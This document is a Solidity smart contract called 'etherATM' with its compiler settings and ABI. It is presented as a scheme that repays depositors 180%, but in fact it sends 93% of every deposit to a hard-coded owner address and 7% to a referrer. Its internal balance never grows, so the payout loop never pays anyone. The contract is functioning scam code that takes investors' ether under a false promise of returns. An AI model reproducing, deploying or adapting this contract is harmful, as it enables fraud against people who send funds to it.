pragma solidity ^0.5.10;
contract etherATM {
struct Person {
address payable etherAddress;
uint256 amount;
address payable referrer;
}
Person[] public persons;
uint256 public payoutIdx = 0;
uint256 public collectedFees;
uint256 public balance = 0;
address payable owner;
modifier onlyowner {
if (msg.sender == owner) _;
}
constructor() public {
owner = 0xF51a48488be6AbEFFb56d4B1B666C19F2F66Cf1e;
}
function enter(address payable referrer) public payable {
if (msg.value < 0.05 ether) {
msg.sender.transfer(msg.value);
return;
}
uint256 amount;
if (msg.value > 4000 ether) {
msg.sender.transfer(msg.value - 4000 ether);
amount = 4000 ether;
} else {
amount = msg.value;
}
uint256 idx = persons.length;
persons.length += 1;
persons[idx].etherAddress = msg.sender;
persons[idx].amount = amount;
collectedFees += 0;
uint256 totalAmount = collectedFees + amount;
uint256 ownerAmount = totalAmount*93/100;
totalAmount = totalAmount-ownerAmount;
owner.transfer(ownerAmount);
referrer.transfer(totalAmount);
collectedFees = 0;
while (balance > (persons[payoutIdx].amount / 100) * 180) {
uint256 transactionAmount = (persons[payoutIdx].amount / 100) * 180;
persons[payoutIdx].etherAddress.transfer(transactionAmount);
balance -= transactionAmount;
payoutIdx += 1;
}
}
function setOwner(address payable _owner) external onlyowner {
owner = _owner;
}
}
{
"compilationTarget": {
"etherATM.sol": "etherATM"
},
"evmVersion": "petersburg",
"libraries": {},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"constant":false,"inputs":[{"name":"_owner","type":"address"}],"name":"setOwner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"collectedFees","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"persons","outputs":[{"name":"etherAddress","type":"address"},{"name":"amount","type":"uint256"},{"name":"referrer","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"payoutIdx","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"balance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"referrer","type":"address"}],"name":"enter","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"}]